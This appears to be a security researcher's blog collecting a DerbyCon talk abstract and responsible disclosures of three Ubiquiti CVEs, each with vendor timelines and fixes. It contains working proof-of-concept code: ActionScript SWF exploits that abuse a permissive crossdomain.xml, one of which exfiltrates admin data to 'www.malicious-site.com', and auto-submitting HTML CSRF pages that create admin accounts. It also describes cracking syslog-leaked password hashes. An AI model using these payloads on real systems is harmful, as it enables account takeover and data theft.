Friday, October 10, 2014

DerbyCon 4.0 - SWF Seeking Lazy Admin for Cross Domain Action

Abstract: Security misconfiguration is #5 on the OWASP 2013 Top 10. This talk shows how the misconfiguration of one file can compromise the security of an entire web application.

In the talk, youll be introduced to the crossdomain.xml file.  This file determines how third party Flash Objects (SWFs) hosted on other domains can interact with your domain. Unfortunately, this file requires manual configuration on the part of the administrator, and as we all know, when manual configuration is required, mistakes happen.Sometimes, administrators give up and whitelist the entire internet in order to "make it work". This is essentially like adding an "accept all" rule on your firewall or setting your password to <blank>. 

We will review how to identify the vulnerability, how to abuse it, and how to write your own SWFs that exploit the flaw. Examples of public sites that until recently contained this vulnerability will be provided, including a few from the Alexa Top 100.




Wednesday, July 23, 2014

CVE-2014-2227

This CVE covers a vulnerability found in the Ubiquiti Networks AirVision application.  For more background on this particular vulnerability, check out this post:

Exploiting misconfigured crossdomain.xml files

In fact, I wrote that first crossdomain.xml blog post after finding this AirVision vulnerability back in February.  If you already read that post, you should recognize the vulnerable form I use for the POC here (adding an administrator), is the same one I used earlier.

Here is a cleaned up version of what I sent to Ubiquiti back in February:

AirVision Controller v2.1.3 - Overly Permissive default crossdomain.xml



Misuse Case

If the victim user is authenticated with their AirVision Controller, and they visit a malicious site, the owner of the malicious site can make changes to, and read data from, the AirVision Controller. The malicious site can even add a new administrative user account.  

Vulnerable default configuration:



POC:

Step 1: Attacker hosts the malicious SWF on his/her server, and socially engineers a victim AirVision administrator who is currently logged in, to view the SWF file
Step 2: The victim, while logged into AirVision, views the SWF file on the attackers server:


Step 3: The SWF loads on the victims machine, and makes a request on behalf of the victim (exploiting CSRF to add an administrator):


Response:

Step 4: The SWF is able to bypass Same-Origin-Policy because of the overly permissive crossdomain.xml file, and it records the server response to the previous request, and sends that to the attacker:

The server receives the information and responds with a HTTP 200 OK.
Here is another example of how an attacker could exploit this vulnerability, that is much different than what CSRF can do. In the screenshot below, the SWF makes a request to /api/2.0/log?type=error.  The SWF then reads the data that comes back from that request and sends it to the attacker’s server, where the attacker consumes the raw data.    





Additional details:

(CVE-2014-2227) - Ubiquiti Networks - AirVision v2.1.3 - Overly Permissive default crossdomain.xml

-----------
Vendor:
-----------
Ubiquiti Networks (http://www.ubnt.com/)


----------------------------------------------
Affected Products/Versions:
----------------------------------------------
AirVision Controller v2.1.3
Note: Previous versions may be affected

-----------------
Description:
-----------------
Title: Overly Permissive default crossdomain.xml file
CVE: CVE-2014-2227
Researcher: Seth Art - @sethsec
Detailed writeup (includes screenshots): http://sethsec.blogspot.com/2014/07/cve-2014-2227.html

------------------------------------------------------------------------------------------------------
POC #1: Using crossdomain.xml to execute CSRF and add an  administrator:
------------------------------------------------------------------------------------------------------

// Customized AirVision POC Author: Seth Art (sethsec at gmail.com)
// POC Template Author: Gursev Singh Kalra (gursev.kalra at foundstone.com)
// POC Template Author's github: (https://github.com/gursev/flash-xdomain-xploit)
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLRequestHeader;

public class XDomainXploit3 extends Sprite {
 public function XDomainXploit3() {
  // Target URL from where the data is to be retrieved
  var readFrom:String = "https//victim:7443/api/2.0/admin";
  var header:URLRequestHeader = new URLRequestHeader("Content-Type",
"text/plain; charset=UTF-8");
  var readRequest:URLRequest = new URLRequest(readFrom);
  readRequest.method = URLRequestMethod.POST
  readRequest.data =
"{\"name\":\"csrf-cdp\",\"email\":\"csrf-cdp@gmail.com\",\"userGroup\":\"admin\",\"x_password\":\"password\",\"confirmPassword\":\"password\",\"disabled\":false}";
  readRequest.requestHeaders.push(header);
  var getLoader:URLLoader = new URLLoader();
  getLoader.addEventListener(Event.COMPLETE, eventHandler);
  try {
   getLoader.load(readRequest);
  } catch (error:Error) {
   trace("Error loading URL: " + error);
  }
 }


 private function eventHandler(event:Event):void {
  // URL to which retrieved data is to be sent
  var sendRequest:URLRequest = new URLRequest(sendTo);
  sendRequest.method = URLRequestMethod.POST;
  sendRequest.data = event.target.data;
  var sendLoader:URLLoader = new URLLoader();
  try {
   sendLoader.load(sendRequest);
  } catch (error:Error) {
   trace("Error loading URL: " + error);
  }
 }
}
}

-----------------------------------------------------------------------
POC #2: Using crossdomain.xml to exfiltrate log data:
-----------------------------------------------------------------------

// Customized AirVision POC Author: Seth Art (sethsec at gmail.com)
// POC Template Author: Gursev Singh Kalra (gursev.kalra at foundstone.com)
// POC Template Author's github: (https://github.com/gursev/flash-xdomain-xploit)
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;


public class XDomainXploit extends Sprite {
 public function XDomainXploit() {
  // Target URL from where the data is to be retrieved
  var readFrom:String = "/victim:7443/api/2.0/admin";
  var readRequest:URLRequest = new URLRequest(readFrom);
  var getLoader:URLLoader = new URLLoader();
  getLoader.addEventListener(Event.COMPLETE, eventHandler);
  try {
   getLoader.load(readRequest);
  } catch (error:Error) {
   trace("Error loading URL: " + error);
  }
 }


 private function eventHandler(event:Event):void {
  // URL to which retrieved data is to be sent
  var sendTo:String = "http://www.malicious-site.com/admin"
  var sendRequest:URLRequest = new URLRequest(sendTo);
  sendRequest.method = URLRequestMethod.POST;
  sendRequest.data = event.target.data;
  var sendLoader:URLLoader = new URLLoader();
  try {
   sendLoader.load(sendRequest);
  } catch (error:Error) {
   trace("Error loading URL: " + error);
  }
 }
}
}

-------------
Solution:
-------------
AirVision Controller - Upgrade to UniFi Video v3.0.1 or greater (Note: The application name changed from AirVision to UniFi Video)

-----------------------------
Disclosure Timeline:
-----------------------------

2014-02-25: Notified Ubiquiti of crossdomain vulnerability in AirVision product
2014-02-19: Ubiquti confirms receipt of AirVision report and existence of the vulnerability
2014-02-28: CVE-2014-2227 assigned
2014-03-12: Requested status update
2014-03-27: Requested status update
2014-04-07: Requested status update
2014-04-09: Ubiquiti provides timeline for solution
2014-04-18: UniFi Video 3.0.1 is released
2014-06-13: Set public disclosure date of 2014-07-24
2014-07-24: Public disclosure

CVE-2014-2226

Ubiquiti - UniFi Controller - Admin/root password hash sent via syslog


Misuse case:

An attacker who has access to network traffic between the UniFi controller and the configured syslog server, can retrieve the password hash and use it to access all managed access points, and potentially the UniFi controller as well.  

Details:  

If remote logging is enabled on the UniFi controller, the controller sends syslog messages to the configured syslog server. Contained within the syslog messages is the admin password hash that is used by both the UniFi controller, and all managed Access Points.

In the screenshot below, the auth key and the encrypted password are highlighted in yellow.


The password is encrypted using the legacy crypt(1) utility, which uses Traditional DES [128/128 BS SSE2], and can be recovered using John the Ripper:

Note: The salt (and hash) changes each time the message is sent, but the password can always be recovered.

Once you crack the password, you can log into any of the managed access points via SSH. This is actually the format of the password that is used by BusyBox: 


The CVE was assigned as there is no utility (reason) for sending the admin password via syslog messages.

Additional details:


(CVE-2014-2226) - Ubiquiti Networks - UniFi Controller - Admin/root password hash sent via syslog

-----------
Vendor:
-----------
Ubiquiti Networks (http://www.ubnt.com/)

----------------------------------------------
Affected Products/Versions:
----------------------------------------------
UniFi Controller v2.4.6
Note: Previous versions may be affected

-----------------
Description:
-----------------
Title: Admin/Root password hash sent in syslog messages
CVE: CVE-2014-2226
CWE: CWE-319: http://cwe.mitre.org/data/definitions/319.html
Researcher: Seth Art - @sethsec
Detailed writeup (includes screenshots): http://sethsec.blogspot.com/2014/07/cve-2014-2226.html

If remote logging is enabled on the UniFi controller, syslog messages are sent to a syslog server.  Contained within the syslog messages is the admin password that is used by both the UniFi controller, and all managed Access Points.  This CVE was assigned as there is no utility for sending the admin password hash via syslog messages.   

------
POC:
------
Not Applicable.  

-------------
Solution:
-------------
UniFi Controller - Upgrade to UniFi Controller v3.2.1 or greater

-----------------------------
Disclosure Timeline:
-----------------------------
2014-02-16: Notified Ubiquiti of vulnerabilities in UniFi and mFi products
2014-02-17: Ubiquiti acknowledges and requests details
2014-02-17: Report with POC sent to Ubiquiti
2014-02-19: Asks Ubiquiti to confirm receipt of report
2014-02-19: Ubiquti confirms receipt of report and existence of the vulnerabilities
2014-02-28: CVE-2014-2226 assigned
2014-03-12: Requested status update
2014-03-27: Requested status update
2014-04-07: Requested status update
2014-04-09: Ubiquiti provides timeline for solution
2014-05-30: Requested status update
2014-06-12: Requested status update
2014-06-12: UniFi 3.2.1 is released
2014-06-13: Set public disclosure date of 2014-07-24
2014-07-24: Public disclosure

CVE-2014-2225

This CVE covers three separate Ubiquiti Networks applications that are all vulnerable to CSRF:
  • UniFi Controller
  • mFi Controller
  • AirVision Controller

Ubiquiti - UniFi Controller v2.4.6 - Cross-site Request Forgery (CSRF)



The UniFi application is vulnerable to CSRF in multiple locations.  The CWE link above has a great summary of the vulnerability.  In the POC below, I demonstrate how an unauthenticated attacker can send a malicious hyperlink to an authenticated administrator, and how if the administrator clicks on the link, the attacker can force the authenticated administrator to perform quite a few actions without knowing it.  The most serious POC involves the attacker causing the administrator to create a second administrator account.  The attacker can now log into the Unifi controller with this second account (if they have network access to the Unifi controller), and perform any actions that an administrator can make.  

CSRF POC #1– Add Admin

This screenshot shows the Settings >> System page before CSRF attack. (The victim Admin logged into Unifi Controller)

The victim navigates to the attacker’s malicious page (page source shown for clarification):

Copyable POC:

<html>
<head>
<script>
function sendCSRF()
{
var url_base = "https://192.168.0.106:8443/api/add/admin"
var post_data="%7B%22name%22%3A%22csrf%22%2C%22lang%22%3A%22en_US%22%2C%22x_password%22%3A%22csrf%22%7D" 

var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", url_base, true);
xmlhttp.setRequestHeader("Accept","*/*");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=UTF-8");
xmlhttp.withCredentials= "true";
xmlhttp.send(post_data);
}

</script>
</head>
<body>
<h1>CSRF POC</h1>
Sending CSRF Payload!!!
<body onload="sendCSRF()">
</body>
</html>

Here is a proxy view from the perspective of the victim Admin
  • First the admin’s browser goes to www.malicious-site.com and pulls the attackers CSRF payload page
  • Then the admin’s browser loads the forged request that will add another admin on the UniFi Controller
The forged request is shown below. You can see that the Referer is www.malicious-site.com/csrf.html, and not the Unifi Controller.  However, because of Same Origin Policy, when the admin makes the request to the Unifi Controller, the browser attaches the admin’s valid session cookie:
The response, showing the new admin was created successfully:
The next two screenshots show the attacker logging in after the attack:


Settings >> System page after the CSRF attack



The next POC is another example of how an attacker can use CSRF to update and enable the syslog server on the Unifi Controller. I was working on this one before I figured out that the /api/add/admin function existed:

CSRF POC #2 – Update syslog server
Settings >> System (Before CSRF attack)

Here is the CSRF attack page on the attackers server:


Settings >> System (After CSRF attack)


The forged request:
The response:

Syslog messages from AP (begin as soon as CSRF is executed)



In addition to these POCs, any function that does not have a non-predictable nonce included, is vulnerable to CSRF.  This includes:

POST /api/add/wlanconf
POST /api/set/setting/guest_access
Change almost anything on this page (guest password, authentication method, restricted subnets):
 

POST /api/cmd/stamgr
Block users by MAC address
Unblock users by MAC address
Reconnect users by MAC address
POST api/set/setting/rsyslogd
Configure the syslog server and port
POST /api/set/setting/smtp
POST /api/cmd/cfgmgr
Configure the syslog server, port, authentication settings
POST /api/set/setting/identity
Setting Name of Unifi Controller


Ubiquiti - mFi Controller v2.0.15 - Cross-site Request Forgery (CSRF)



While this walk through is not as complete as the previous one, this screenshot shows that the mFi Controller exhibits the same CSRF vulnerability.  
Copyable POC:

<html>
<head>
<script>
function sendCSRF()
{
var url_base = "https://192.168.0.106:6443/api/v1.0/add/admin"
var post_data="%7B%22name%22%3A%22csrf%22%2C%22lang%22%3A%22en_US%22%2C%22x_password%22%3A%22csrf%22%7D" 

var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", url_base, true);
xmlhttp.setRequestHeader("Accept","*/*");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=UTF-8");
xmlhttp.withCredentials= "true";
xmlhttp.send(post_data);
}

</script>
</head>
<body>
<h1>CSRF POC</h1>
Sending CSRF Payload!!!
<body onload="sendCSRF()">
</body>
</html>

Ubiquiti - AirVision Controller v2.1.3 - Cross-site Request Forgery (CSRF)



I will also use the same POC for the AirVision controller.

CSRF POC #1– Add Admin
Settings >> System (Before CSRF attack) (The victim "Seth" logged into AirVision Controller)

The victim navigates to the attacker’s malicious page (page source shown for clarification):

Copyable POC:

<html>
<head>
<script>
function sendCSRF()
{
var url_base = "https://192.168.0.106:7443/api/v2.0/admin"
var post_data="{\”name\”:\”csrf\”,\”email\”:\”csrf@gmail.com\”,\”userGroup:\”:\”admin\”,\”x_password\”:\”password\”,\”confirmPassword\”:\”password\”,\”disabled\”:\”false\”}”

var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", url_base, true);
xmlhttp.setRequestHeader("Accept","*/*");
xmlhttp.setRequestHeader("Content-type","application/plain; charset=UTF-8");
xmlhttp.withCredentials= "true";
xmlhttp.send(post_data);
}

</script>
</head>
<body>
<h1>CSRF POC</h1>
Sending CSRF Payload!!!
<body onload="sendCSRF()">
</body>
</html>


Here is a proxy view from the perspective of the victim Admin
  • First the admin’s browser goes to www.malicous-site.com and pulls the attackers CSRF payload page
  • Then the admin’s browser loads the forged request that will add another admin on the AirVision Controller


The forged request is shown below. You can see that the Referrer is www.malicious-site.com/csrf-airvision4.html, and not the AirVision Controller.  However, because of Same Origin Policy, when the admin makes the request to the AirVision Controller, the browser attaches the admin’s valid session cookie:

The response, showing the new admin was created successfully:

Settings >> System (After CSRF attack) – The attacker logging in with the new credentials

Additional details:


(CVE-2014-2225) - Ubiquiti Networks - Multiple products - Cross-site Request Forgery (CSRF)
-----------
Vendor:
-----------
Ubiquiti Networks (http://www.ubnt.com/)

-----------------------------------------
Affected Products/Versions:
-----------------------------------------
UniFi Controller v2.4.6
mFi Controller v2.0.15
AirVision Controller v2.1.3
Note: Previous versions may be affected

-----------------
Description:
-----------------
Title: Cross-site Request Forgery (CSRF)
CVE: CVE-2014-2225
Researcher: Seth Art - @sethsec
Detailed writeup (includes screenshots): http://sethsec.blogspot.com/2014/07/cve-2014-2225.html

-------------
Solution:
-------------
UniFi Controller - Upgrade to UniFi Controller v3.2.1 or greater
mFi Controller - Upgrade to mFi Controller v2.0.24 or greater
AirVision Controller - Upgrade to UniFi Video v3.0.1 or greater (Note: The application name changed from AirVision to UniFi Video)

-----------------------------
Disclosure Timeline:
-----------------------------
2014-02-16: Notified Ubiquiti of vulnerabilities in UniFi and mFi products
2014-02-17: Ubiquiti acknowledges and requests details
2014-02-17: Report with POC sent to Ubiquiti
2014-02-19: Asked Ubiquiti to confirm receipt of report
2014-02-19: Ubiquti confirms receipt of report and existence of the vulnerabilities
2014-02-25: Notified Ubiquiti of CSRF vulnerability in AirVision product
2014-02-19: Ubiquti confirms receipt of AirVision report and existence of the vulnerability
2014-02-28: CVE-2014-2225 assigned
2014-03-12: Requested status update
2014-03-27: Requested status update
2014-04-07: Requested status update
2014-04-09: Ubiquiti provides timeline for solution
2014-04-18: UniFi Video 3.0.1 is released
2014-05-30: Requested a status update on the remaining two products
2014-06-12: Requested a status update on the remaining two products
2014-06-12: mFi v2.0.24 and UniFi 3.2.1 are released
2014-06-13: Set public disclosure date of 2014-07-24 and notified vendor
2014-07-24: Public disclosure